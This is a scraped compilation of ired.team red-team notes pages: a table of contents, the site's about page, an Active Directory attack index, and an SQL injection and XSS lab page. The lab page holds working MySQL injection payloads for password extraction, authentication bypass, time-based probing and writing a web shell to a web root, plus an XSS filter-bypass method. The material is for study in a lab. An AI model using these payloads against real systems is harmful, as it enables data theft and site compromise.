# Table of Contents - [What is ired.team notes? | Red Team Notes](#what-is-ired-team-notes-red-team-notes) - [Active Directory & Kerberos Abuse | Red Team Notes](#active-directory-kerberos-abuse-red-team-notes) - [SQL Injection & XSS Playground | Red Team Notes](#sql-injection-xss-playground-red-team-notes) - [Kerberos: Golden Tickets | Red Team Notes](#kerberos-golden-tickets-red-team-notes) - [Kerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled | Red Team Notes](#kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled-red-team-notes) - [AS-REP Roasting | Red Team Notes](#as-rep-roasting-red-team-notes) - [Kerberos: Silver Tickets | Red Team Notes](#kerberos-silver-tickets-red-team-notes) - [Kerberos Unconstrained Delegation | Red Team Notes](#kerberos-unconstrained-delegation-red-team-notes) - [Kerberoasting | Red Team Notes](#kerberoasting-red-team-notes) - [Kerberos Constrained Delegation | Red Team Notes](#kerberos-constrained-delegation-red-team-notes) - [From Domain Admin to Enterprise Admin | Red Team Notes](#from-domain-admin-to-enterprise-admin-red-team-notes) - [Initial Access | Red Team Notes](#initial-access-red-team-notes) - [Red Team Infrastructure | Red Team Notes](#red-team-infrastructure-red-team-notes) - [Spiderfoot 101 with Kali using Docker | Red Team Notes](#spiderfoot-101-with-kali-using-docker-red-team-notes) - [Pentesting Cheatsheets | Red Team Notes](#pentesting-cheatsheets-red-team-notes) - [DCShadow - Becoming a Rogue Domain Controller | Red Team Notes](#dcshadow-becoming-a-rogue-domain-controller-red-team-notes) - [HTTP Forwarders / Relays | Red Team Notes](#http-forwarders-relays-red-team-notes) - [Kerberos Resource-based Constrained Delegation: Computer Object Takeover | Red Team Notes](#kerberos-resource-based-constrained-delegation-computer-object-takeover-red-team-notes) - [Phishing with Modlishka Reverse HTTP Proxy | Red Team Notes](#phishing-with-modlishka-reverse-http-proxy-red-team-notes) - [Code Execution | Red Team Notes](#code-execution-red-team-notes) - [Domain Compromise via DC Print Server and Kerberos Delegation | Red Team Notes](#domain-compromise-via-dc-print-server-and-kerberos-delegation-red-team-notes) - [Phishing with MS Office | Red Team Notes](#phishing-with-ms-office-red-team-notes) - [NetNTLMv2 hash stealing using Outlook | Red Team Notes](#netntlmv2-hash-stealing-using-outlook-red-team-notes) - [Unknown](#unknown) - [regsvr32 | Red Team Notes](#regsvr32-red-team-notes) - [Password Spraying Outlook Web Access: Remote Shell | Red Team Notes](#password-spraying-outlook-web-access-remote-shell-red-team-notes) - [T1173: Phishing - DDE | Red Team Notes](#t1173-phishing-dde-red-team-notes) - [Phishing with GoPhish and DigitalOcean | Red Team Notes](#phishing-with-gophish-and-digitalocean-red-team-notes) - [Phishing: .SLK Excel | Red Team Notes](#phishing-slk-excel-red-team-notes) - [Phishing: Embedded HTML Forms | Red Team Notes](#phishing-embedded-html-forms-red-team-notes) - [SMTP Forwarders / Relays | Red Team Notes](#smtp-forwarders-relays-red-team-notes) - [Phishing: XLM / Macro 4.0 | Red Team Notes](#phishing-xlm-macro-4-0-red-team-notes) - [Phishing: Embedded Internet Explorer | Red Team Notes](#phishing-embedded-internet-explorer-red-team-notes) - [Active Directory Enumeration with AD Module without RSAT or Admin Privileges | Red Team Notes](#active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges-red-team-notes) - [MSHTA | Red Team Notes](#mshta-red-team-notes) - [pubprn.vbs Signed Script Code Execution | Red Team Notes](#pubprn-vbs-signed-script-code-execution-red-team-notes) - [Forfiles Indirect Command Execution | Red Team Notes](#forfiles-indirect-command-execution-red-team-notes) - [Powershell Empire 101 | Red Team Notes](#powershell-empire-101-red-team-notes) - [PowerView: Active Directory Enumeration | Red Team Notes](#powerview-active-directory-enumeration-red-team-notes) - [Backdooring AdminSDHolder for Persistence | Red Team Notes](#backdooring-adminsdholder-for-persistence-red-team-notes) - [DCSync: Dump Password Hashes from Domain Controller | Red Team Notes](#dcsync-dump-password-hashes-from-domain-controller-red-team-notes) - [Inject Macros from a Remote Dotm Template | Red Team Notes](#inject-macros-from-a-remote-dotm-template-red-team-notes) - [Powershell Without Powershell.exe | Red Team Notes](#powershell-without-powershell-exe-red-team-notes) - [Pass the Hash with Machine$ Accounts | Red Team Notes](#pass-the-hash-with-machine-accounts-red-team-notes) - [Active Directory Password Spraying | Red Team Notes](#active-directory-password-spraying-red-team-notes) - [CMSTP | Red Team Notes](#cmstp-red-team-notes) - [T1137: Phishing - Office Macros | Red Team Notes](#t1137-phishing-office-macros-red-team-notes) - [Application Whitelisting Bypass with WMIC and XSL | Red Team Notes](#application-whitelisting-bypass-with-wmic-and-xsl-red-team-notes) - [Powershell Constrained Language Mode Bypass | Red Team Notes](#powershell-constrained-language-mode-bypass-red-team-notes) - [Control Panel Item | Red Team Notes](#control-panel-item-red-team-notes) - [Phishing: OLE + LNK | Red Team Notes](#phishing-ole-lnk-red-team-notes) - [Code Execution through Control Panel Add-ins | Red Team Notes](#code-execution-through-control-panel-add-ins-red-team-notes) - [Executing Code as a Control Panel Item through an Exported Cplapplet Function | Red Team Notes](#executing-code-as-a-control-panel-item-through-an-exported-cplapplet-function-red-team-notes) - [Active Directory Lab with Hyper-V and PowerShell | Red Team Notes](#active-directory-lab-with-hyper-v-and-powershell-red-team-notes) - [Cobalt Strike 101 | Red Team Notes](#cobalt-strike-101-red-team-notes) - [Enumerating AD Object Permissions with dsacls | Red Team Notes](#enumerating-ad-object-permissions-with-dsacls-red-team-notes) - [Using MSBuild to Execute Shellcode in C# | Red Team Notes](#using-msbuild-to-execute-shellcode-in-c-red-team-notes) - [Forced Authentication | Red Team Notes](#forced-authentication-red-team-notes) - [BloodHound with Kali Linux: 101 | Red Team Notes](#bloodhound-with-kali-linux-101-red-team-notes) - [InstallUtil | Red Team Notes](#installutil-red-team-notes) - [Automating Red Team Infrastructure with Terraform | Red Team Notes](#automating-red-team-infrastructure-with-terraform-red-team-notes) - [Abusing Trust Account$: Accessing Resources on a Trusted Domain from a Trusting Domain | Red Team Notes](#abusing-trust-account-accessing-resources-on-a-trusted-domain-from-a-trusting-domain-red-team-notes) - [From Misconfigured Certificate Template to Domain Admin | Red Team Notes](#from-misconfigured-certificate-template-to-domain-admin-red-team-notes) - [From DnsAdmins to SYSTEM to Domain Compromise | Red Team Notes](#from-dnsadmins-to-system-to-domain-compromise-red-team-notes) - [Forcing Iexplore.exe to Load a Malicious DLL via COM Abuse | Red Team Notes](#forcing-iexplore-exe-to-load-a-malicious-dll-via-com-abuse-red-team-notes) - [Shadow Credentials | Red Team Notes](#shadow-credentials-red-team-notes) - [Code & Process Injection | Red Team Notes](#code-process-injection-red-team-notes) - [Shellcode Execution via CreateThreadpoolWait | Red Team Notes](#shellcode-execution-via-createthreadpoolwait-red-team-notes) - [Shellcode Reflective DLL Injection | Red Team Notes](#shellcode-reflective-dll-injection-red-team-notes) - [Bypassing Parent Child / Ancestry Detections | Red Team Notes](#bypassing-parent-child-ancestry-detections-red-team-notes) - [DLL Injection | Red Team Notes](#dll-injection-red-team-notes) - [Shellcode Execution through Fibers | Red Team Notes](#shellcode-execution-through-fibers-red-team-notes) - [Loading and Executing Shellcode From PE Resources | Red Team Notes](#loading-and-executing-shellcode-from-pe-resources-red-team-notes) - [Local Shellcode Execution without Windows APIs | Red Team Notes](#local-shellcode-execution-without-windows-apis-red-team-notes) - [Process Doppelganging | Red Team Notes](#process-doppelganging-red-team-notes) - [Early Bird APC Queue Code Injection | Red Team Notes](#early-bird-apc-queue-code-injection-red-team-notes) - [Abusing Active Directory ACLs/ACEs | Red Team Notes](#abusing-active-directory-acls-aces-red-team-notes) - [Executing Shellcode with Inline Assembly in C/C++ | Red Team Notes](#executing-shellcode-with-inline-assembly-in-c-c-red-team-notes) - [Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert | Red Team Notes](#shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert-red-team-notes) - [Defense Evasion | Red Team Notes](#defense-evasion-red-team-notes) - [Phishing: Replacing Embedded Video with Bogus Payload | Red Team Notes](#phishing-replacing-embedded-video-with-bogus-payload-red-team-notes) - [SetWindowHookEx Code Injection | Red Team Notes](#setwindowhookex-code-injection-red-team-notes) - [Binary Exploitation | Red Team Notes](#binary-exploitation-red-team-notes) - [CreateRemoteThread Shellcode Injection | Red Team Notes](#createremotethread-shellcode-injection-red-team-notes) - [Privileged Accounts and Token Privileges | Red Team Notes](#privileged-accounts-and-token-privileges-red-team-notes) - [AddressOfEntryPoint Code Injection without VirtualAllocEx RWX | Red Team Notes](#addressofentrypoint-code-injection-without-virtualallocex-rwx-red-team-notes) - [NtCreateSection + NtMapViewOfSection Code Injection | Red Team Notes](#ntcreatesection-ntmapviewofsection-code-injection-red-team-notes) - [Injecting to Remote Process via Thread Hijacking | Red Team Notes](#injecting-to-remote-process-via-thread-hijacking-red-team-notes) - [APC Queue Code Injection | Red Team Notes](#apc-queue-code-injection-red-team-notes) - [DLL Injection via a Custom .NET Garbage Collector | Red Team Notes](#dll-injection-via-a-custom-net-garbage-collector-red-team-notes) - [Windows API Hooking | Red Team Notes](#windows-api-hooking-red-team-notes) - [PE Injection: Executing PEs inside Remote Processes | Red Team Notes](#pe-injection-executing-pes-inside-remote-processes-red-team-notes) - [Module Stomping for Shellcode Injection | Red Team Notes](#module-stomping-for-shellcode-injection-red-team-notes) - [Injecting .NET Assembly to an Unmanaged Process | Red Team Notes](#injecting-net-assembly-to-an-unmanaged-process-red-team-notes) - [Evading Windows Defender with 1 Byte Change | Red Team Notes](#evading-windows-defender-with-1-byte-change-red-team-notes) - [Enumeration and Discovery | Red Team Notes](#enumeration-and-discovery-red-team-notes) - [Privilege Escalation | Red Team Notes](#privilege-escalation-red-team-notes) - [Exfiltration | Red Team Notes](#exfiltration-red-team-notes) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) --- # What is ired.team notes? | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/readme.md) . This is publicly accessible personal red teaming notes at [https://ired.team](https://ired.team/) and [https://github.com/mantvydasb/RedTeam-Tactics-and-Techniques](https://github.com/mantvydasb/RedTeam-Tactics-and-Techniques) about my pentesting / red teaming experiments in a controlled environment that involve playing with various tools and techniques used by penetration testers, red teams and actual adversaries. This is my way of learning things - by doing, following, tinkering, exploring, repeating and taking notes. At ired.team, I explore some of the common offensive security techniques involving gaining code execution, code injection, defense evasion, lateral movement, persistence and more. Most of these techniques are discovered by other security researchers and I do not claim their ownership. I try to reference the sources I use the best I can, but if you think I've missed something, please get in touch and I will fix it immediately. * Do not take everything or anything in these notes for **granted.** * Do not expect the notes to be exhaustive or covering the techniques or the artifacts they produce in full. * Expect mistakes in the notes. * Always consult additional resources. **Warning** [ired.team](https://ired.team/) Red Teaming Experiments GitBook is created by [@spotheplanet](https://twitter.com/spotheplanet) . Cloning it and presenting it as your own is illegal and strictly forbidden, don't do it. **Support and Donations** If you appreciate ired.team and would like to show support, you can do it via my: * [Patreon](http://patreon.com/iredteam) * paypal mantvydo@gmail.com [](https://www.ired.team/#the-goal) The Goal ------------------------------------------------- The goal of this project is simple - read other researchers work, execute some common/uncommon attacking techniques in a lab environment, do my own reasearch and: * understand how various cyber attacks and techniques can be executed and how they work * learn about how malware is written * write code to further understand the tools and techniques used by attackers and malware authors * learn more about C++, Windows internals and Windows APIs * see what artifacts the techniques and tools leave behind on the endpoint * try out various industry tools for pentesting, coding, debugging, reverse engineering, malware analysis, and become more profficient in using them * take notes for future reference Follow me on twitter: [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fabs.twimg.com%2Ffavicons%2Ftwitter.3.ico&width=20&dpr=3&quality=100&sign=583dd3b3&sv=2)spotheplanet (@spotheplanet) on XX](https://twitter.com/spotheplanet) [NextPentesting Cheatsheets](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets) Last updated 1 year ago --- # Active Directory & Kerberos Abuse | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse.md) . [From Domain Admin to Enterprise Admin](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) [Kerberoasting](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting) [Kerberos: Golden Tickets](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets) [Kerberos: Silver Tickets](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) [AS-REP Roasting](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat) [Kerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled) [Kerberos Unconstrained Delegation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation) [Kerberos Constrained Delegation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation) [Kerberos Resource-based Constrained Delegation: Computer Object Takeover](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution) [Domain Compromise via DC Print Server and Kerberos Delegation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation) [DCShadow - Becoming a Rogue Domain Controller](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow) [DCSync: Dump Password Hashes from Domain Controller](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync) [PowerView: Active Directory Enumeration](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview) [Abusing Active Directory ACLs/ACEs](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) [Privileged Accounts and Token Privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) [From DnsAdmins to SYSTEM to Domain Compromise](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise) [Pass the Hash with Machine$ Accounts](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts) [BloodHound with Kali Linux: 101](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux) [Backdooring AdminSDHolder for Persistence](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence) [Active Directory Enumeration with AD Module without RSAT or Admin Privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges) [Enumerating AD Object Permissions with dsacls](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions) [Active Directory Password Spraying](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying) [Active Directory Lab with Hyper-V and PowerShell](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-lab-with-hyper-v-and-powershell) [ADCS + PetitPotam NTLM Relay: Obtaining krbtgt Hash with Domain Controller Machine Certificate](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/adcs-+-petitpotam-ntlm-relay-obtaining-krbtgt-hash-with-domain-controller-machine-certificate) [From Misconfigured Certificate Template to Domain Admin](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin) [Shadow Credentials](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials) [Abusing Trust Account$: Accessing Resources on a Trusted Domain from a Trusting Domain](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-trust-accountusd-accessing-resources-on-a-trusted-domain-from-a-trusting-domain) [PreviousSQL Injection & XSS Playground](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground) [NextFrom Domain Admin to Enterprise Admin](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) Last updated 7 years ago --- # SQL Injection & XSS Playground | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground.md) . [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#classic-sql-injection) Classic SQL Injection --------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#union-select-data-extraction) Union Select Data Extraction Copy mysql> select * from users where user_id = 1 order by 7; ERROR 1054 (42S22): Unknown column '7' in 'order clause' mysql> select * from users where user_id = 1 order by 6; mysql> select * from users where user_id = 1 union select 1,2,3,4,5,6; ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LRXMXXwrtfQQjcZ6RBe%252F-LRXObGwHxUJnP-M3Zl2%252FScreenshot%2520from%25202018-11-17%252015-59-39.png%3Falt%3Dmedia%26token%3D3642479d-9032-4ec4-9a2e-8954f730bd60&width=768&dpr=3&quality=100&sign=3154780c&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LRXMXXwrtfQQjcZ6RBe%252F-LRXPNBj8tvkuD7S8spf%252FScreenshot%2520from%25202018-11-17%252016-03-00.png%3Falt%3Dmedia%26token%3D344cf668-8e94-4874-b521-2dba54f6e8bb&width=768&dpr=3&quality=100&sign=5d3ccbd8&sv=2) ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#authentication-bypass) Authentication Bypass ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LRXSBkbwqRz60W4Qw8c%252F-LRXSM-wLpz-MR1pTltH%252FScreenshot%2520from%25202018-11-17%252016-16-06.png%3Falt%3Dmedia%26token%3D70577172-2ffb-4fde-a4d6-28628de694cc&width=768&dpr=3&quality=100&sign=18865608&sv=2) ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#second-order-injection) Second Order Injection ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LRXaBImaVskSspe9-Y9%252F-LRXapQ0X8Rl4huvnU0n%252FScreenshot%2520from%25202018-11-17%252016-57-24.png%3Falt%3Dmedia%26token%3D925e11de-f4a2-4c69-974b-4a55ea2b503e&width=768&dpr=3&quality=100&sign=ba7bfdea&sv=2) ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#dropping-a-backdoor) Dropping a Backdoor ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LRXcY0UNCY2LUUtyXcW%252F-LRY5MXbUi_kecGjQCHt%252FScreenshot%2520from%25202018-11-17%252019-15-16.png%3Falt%3Dmedia%26token%3D9dc016e9-8bc7-4659-9f1a-e8d636fbc448&width=768&dpr=3&quality=100&sign=9f92e28f&sv=2) ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#conditional-select) Conditional Select ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LRckivms3V24LOmHitj%252F-LRcl3lcp24HXsErO5wT%252FScreenshot%2520from%25202018-11-18%252021-39-53.png%3Falt%3Dmedia%26token%3D1df11d39-1fce-4495-aadf-0f3f8a9c5bf8&width=768&dpr=3&quality=100&sign=a7bf163&sv=2) ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#bypassing-whitespace-filtering) Bypassing Whitespace Filtering ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LRi850Fb4bWMb2XGxnO%252F-LRi8FAL79mB9k-5SKZ9%252FScreenshot%2520from%25202018-11-19%252022-43-46.png%3Falt%3Dmedia%26token%3D58bbeb4d-b844-4fa5-a7df-9128c0383e18&width=768&dpr=3&quality=100&sign=f70f3ed&sv=2) [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#time-based-sql-injection) Time Based SQL Injection --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#sleep-invokation) Sleep Invokation ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LRXMXXwrtfQQjcZ6RBe%252F-LRXMoyg7m2ypz2wckU2%252FScreenshot%2520from%25202018-11-17%252015-51-50.png%3Falt%3Dmedia%26token%3D86e07c05-3739-4e82-8351-96ed92c53697&width=768&dpr=3&quality=100&sign=2e809763&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LRXMXXwrtfQQjcZ6RBe%252F-LRXNFPExWv3xXXjtPtr%252FScreenshot%2520from%25202018-11-17%252015-53-52.png%3Falt%3Dmedia%26token%3D4a9ea4d6-187d-46fa-9a64-1331edcd14b6&width=768&dpr=3&quality=100&sign=ded61e27&sv=2) [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#xss) XSS --------------------------------------------------------------------------------------------------------------------------------- ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LRYJh0E49lb4ekM05MZ%252F-LRYJsNvY3OOrKKiWrsJ%252FPeek%25202018-11-17%252020-17.gif%3Falt%3Dmedia%26token%3D3f2d801c-74f2-4747-ac6d-b854697568e1&width=768&dpr=3&quality=100&sign=57b5ac28&sv=2) ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#strtoupper-bypass) Strtoupper Bypass Say we have the following PHP code that takes `name` as a user supplied parameter: Line 3 is vulnerable to XSS, and we can break out of the input with a single quote `'`: For example, if we set the `name` parameter to the value of `a'`, we get: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LRYLWj41O7lB0E_1zMZ%252F-LRYemANzw2Zq24HrHJy%252FScreenshot%2520from%25202018-11-17%252021-54-22.png%3Falt%3Dmedia%26token%3D8fe26e72-7cac-44a2-9a0b-aec9fa4d5bb9&width=768&dpr=3&quality=100&sign=99018c08&sv=2) Note that the `a` got converted to a capital `A` and this is due to the `strtoupper` function being called on our input. What this means is that any ascii letters in our JavaScript payload will get converted to uppercase and become invalid and will not execute (i.e`alert() != ALERT()`). To bypass this constraint, we can encode our payload using JsFuck, which eliminates all the letters from the payload and leaves us with this: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LRYLWj41O7lB0E_1zMZ%252F-LRYf25HeqCaNyOBRCZt%252FScreenshot%2520from%25202018-11-17%252021-55-33.png%3Falt%3Dmedia%26token%3D7eaf6946-6659-4d8b-ab06-4231d7ca8059&width=768&dpr=3&quality=100&sign=b4238946&sv=2) [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#references) References ----------------------------------------------------------------------------------------------------------------------------------------------- [MySQL SQL Injection Cheat Sheetpentestmonkey](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet) [MSSQL Injection Cheat Sheetpentestmonkey](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet) [http://breakthesecurity.cysecurity.org/2010/12/hacking-website-using-sql-injection-step-by-step-guide.htmlbreakthesecurity.cysecurity.org](http://breakthesecurity.cysecurity.org/2010/12/hacking-website-using-sql-injection-step-by-step-guide.html) [PreviousPentesting Cheatsheets](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets) [NextActive Directory & Kerberos Abuse](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse) Last updated 7 years ago * [Classic SQL Injection](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#classic-sql-injection) * [Union Select Data Extraction](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#union-select-data-extraction) * [Authentication Bypass](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#authentication-bypass) * [Second Order Injection](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#second-order-injection) * [Dropping a Backdoor](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#dropping-a-backdoor) * [Conditional Select](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#conditional-select) * [Bypassing Whitespace Filtering](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#bypassing-whitespace-filtering) * [Time Based SQL Injection](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#time-based-sql-injection) * [Sleep Invokation](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#sleep-invokation) * [XSS](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#xss) * [Strtoupper Bypass](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#strtoupper-bypass) * [References](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground#references) Copy select * from users where user_id = 1 union all select 1,(select group_concat(user,0x3a,password) from users),3,4,5,6; Copy mysql> select * from users where user='admin' and password='blah' or 1 # 5f4dcc3b5aa765d61d8327deb882cf99' Copy mysql> insert into accounts (username, password, mysignature) values ('admin','mynewpass',(select user())) # 'mynewsignature'); Copy mysql> select * from users where user_id = 1 union select all 1,2,3,4,"",6 into outfile "/var/www/dvwa/shell.php" #; Copy mysql> select * from users where user = (select concat((select if(1>0,'adm','b')),"in")); Copy mysql> select * from users where user_id = 1/**/union/**/select/**/all/**/1,2,3,4,5,6; Copy mysql> select * from users where user_id = 1 or (select sleep(1)+1); Copy select * from users where user_id = 1 union select 1,2,3,4,5,sleep(1); Copy Copy '; echo "First name:
